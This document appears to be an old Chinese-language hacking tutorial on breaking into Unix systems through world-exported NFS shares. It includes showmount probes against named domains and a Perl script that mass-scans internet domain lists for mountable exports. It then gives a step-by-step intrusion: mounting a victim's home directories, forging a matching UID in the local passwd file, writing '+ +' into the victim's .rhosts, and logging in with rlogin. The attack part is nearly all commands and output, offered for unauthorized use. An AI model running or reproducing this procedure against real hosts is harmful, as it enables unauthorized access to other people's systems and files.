开始,你需要一个hack过的root帐号.为了能mount(连接或共享)远程磁盘并获取权限,你要修改系统的password文档并使用SU命令.

OK,假设我们已有root权限,让我们开始!

可用shownmount命令显示另一系统是否有mountable的磁盘.

root帐号下:

$root> showmount -e wwa.com

ount clntudp_create: RPC: Port mapper failure - RPC: Unable to receive

噢,这个域名不成功,OK,没问题,找下一个:

$root> showmount -e seva.net
Export list for seva.net:
/var/mail pluto.seva.net
/home/user1 pluto.seva.net
/usr/local pluto.seva.net
rover.seva.net
/export/X11R6.3 rover.seva.net
/export/rover rover.seva.net
pluto.seva.net
/export/ftp/linux-archive/redhat-4.1/i386/RedHat (everyone)

 

注意上面的“everyone”,如果我们想从这家伙里安装linux 的话会很好.但我们是想打开用户的目录...所以继续下一个:

$root> showmount -e XXXXX.XXX < 这个成功了…你的自己找哟;)
Export list for XXXXX.XXX:
/export/home (everyone)

 

哈,这家伙把他的home目录共享,用户帐号就在/home目录里;)而且是…竟然是“everyone”都可访问.

OK,这节告诉你如何看是否共享(mountable),下节我将告诉你如何连接(mount)hack但现在我要告诉你,下面是一脚本能扫描并记录internet上所有可共享(mountable)的域名.

要使用该脚本,只需用上节介绍的域名生成器,从rs.internic.net下载所需文档,解出域名并保存为’domains’即可.在命令后加一个’&’就可在后台运行程序,如: cmount.pl&

原理为:

当你运行该文件时,它就自动打开域名列表,对每个域名运行shoumount -e.如果发现返回mounbale(可共享)磁盘的信息,它就把此信息保存在名为: domain.XXX.export的文档中.你只需查看这些文档,mount(连接)这些磁盘就行了.

--------------- start of cmount.pl
#!/usr/bin/perl -w
#
# Check NFS exports of hosts listed in file.
# (Hosts are listed
once per line with no additional whitespaces.)
#
# ii@dormroom.pyro.net - 2/27/97.

# Assign null list to @URLs which will be added to later.
my(@result) = ();
my(@domains) = ();
my($program) = "showmount -e ";

# Pull off filename from commandline. If it isn't defined
then assign default.
my($DomainFilename) = shift;
$DomainFilename = "domains" if !defined($DomainFilename);

# Do checking on input.
die("mountDomains: $DomainFilename is a directory.\n") if (-d $DomainFilename);

# Open $DomainFilename.
open(DOMAINFILE
$DomainFilename) or
die("mountDomains: Cannot open $DomainFilename for input.\n");

while (<DOMAINFILE>) {
chomp($_);
print "Now checking: $_";

# Note difference in program output capture from "geturl.pl".
open (EXECFILE
"$program $_ |");
@execResult = <EXECFILE>;
next if (!defined($execResult[0]));
if ($execResult[0] =~ /^Export/) {
print " - Export list saved.";
open (OUTFILE
">$_.export");
foreach (@execResult) {
print OUTFILE;
}
close (OUTFILE);
}
close(EXECFILE);
print "\n";
}

# We are done. Close all files and end the program.
close (DOMAINFILE);

0;
----------------- end of cmount.pl
OK
,现在开始mounting(连接)
磁盘.

假设我们运行showmount -e domain.com 并返回:

Export list for domain.com:
/ (everyone)
/p1 (everyone)
/p2 (everyone)
/p3 (everyone)
/p5 (everyone)
/p6 (everyone)
/p7 (everyone)
/var/spool/mail titan
europagalifrey
/tmp (everyone)
我们想连接(mount) / 目录..哟呵…这家伙把整个系统都共享(mountable)

$root> mkdir /tmp/mount
root> mount -nt nfs domain.com:/ /tmp/mount

如果他把home目录设为共享(mountable)的话,命令为:

$root> mount -nt nfs domain.com:/home /tmp/mount
umount系统的话,确信退出目录然后:

$root> umount /tmp/mount

 

先必须确定你已创建了共享(mount)目录(你可在系统任何地方创建).如果系统的/mnt目录是空的,你也可用它.

OK,下面动真格了:

bash# ls -al /mnt ; 确定/mnt是空的
ls: /mnt: No such file or directory ; 不存在这样的文件或目录 ;)
bash# mkdir /mnt ;
让我们为他建一个(/mnt目录)
bash# mount -nt nfs xxxxxx.xxx:/export/usr /mnt ; 开始 mount 这小家伙 ...
bash# cd /mnt ; 进入mounted的目录.
bash# ls ; 简单的dir ..
TT_DB home raddb share
back local radius-961029.gz www
exec lost+found radius-961029.ps
bash# ; the home dir
就在那了 ... oh 很好...
bash# cd home
bash# ls -l ;
列长目录... 这儿tom 看起来不错 ;)
total 18
drwxr-xr-x 2 judy other 512 Feb 1 10:41 garry
drwxr-xr-x 69 infobahn other 5632 Mar 10 01:42 horke
drwxr-xr-x 11 301 other 2048 Mar 1 10:25 jens
drwxr-xr-x 2 300 other 512 Oct 15 07:45 joerg
drwxr-xr-x 2 604 other 512 Feb 8 13:00 mailadmin
drwxr-xr-x 2 melissa other 512 Sep 27 06:15 mk
drwxr-xr-x 6 news news 512 Mar 6 1996 news
drwxr-xr-x 2 303 other 512 Jan 24 04:17 norbert
drwxr-xr-x 4 jim other 512 Sep 27 06:16 pauk
drwxr-xr-x 2 302 other 512 Mar 1 10:10 tom
drwxr-xr-x 5 601 daemon 512 Jan 26 1996 viewx
drwxr-xr-x 10 15 audio 512 Oct 17 08:03 www
bash# ;
注意到tom 302号使用者 ... hmmm 把他放进我们的passwd 文档中.
bash# pico /etc/passwd
tom:x:302:2::/home:/bin/bash ;
搞定 ;)
bash# su - tom ; su
tom 帐号 ...
bash$ ls -l
total 18
drwxr-xr-x 2 judy other 512 Feb 1 10:41 garry
drwxr-xr-x 69 infobahn other 5632 Mar 10 01:42 horke
drwxr-xr-x 11 301 other 2048 Mar 1 10:25 jens
drwxr-xr-x 2 300 other 512 Oct 15 07:45 joerg
drwxr-xr-x 2 604 other 512 Feb 8 13:00 mailadmin
drwxr-xr-x 2 melissa other 512 Sep 27 06:15 mk
drwxr-xr-x 6 news news 512 Mar 6 1996 news
drwxr-xr-x 2 303 other 512 Jan 24 04:17 norbert
drwxr-xr-x 4 jim other 512 Sep 27 06:16 pauk
drwxr-xr-x 2 tom other 512 Mar 1 10:10 tom
drwxr-xr-x 5 601 daemon 512 Jan 26 1996 view
drwxr-xr-x 10 15 audio 512 Oct 17 08:03 www
bash$ ;
注意上面,toms 的用户号没有了... 现在我们拥有了他的目录!
bash$ echo + +>>tom/.rhosts ;
tom的目录里建一个名为 .rhosts 的文档
bash$ ;.rhosts中加入+ +号,每个人都能用rlogin到他的帐户。)
bash$ rlogin xxxxx.xxx 在我们的机器上我们是tom因此rlogin 上平台
Last login: Fri Mar 7 00:16:03 from xxxxx.xxxxxxxxxx
Sun Microsystems Inc. SunOS 5.5 Generic November 1995
>
雅皮士们 ,我们进去了
!
> ls -al
total 8
drwxr-xr-x 2 tom group 512 Mar 1 17:10 .
drwxr-xr-x 14 tom group 512 Jan 24 11:16 ..
-rw-r--r-- 1 tom group 144 Dec 30 15:32 .profile
-rw-r--r-- 1 tom bin 8 Mar 11 08:26 .rhosts
>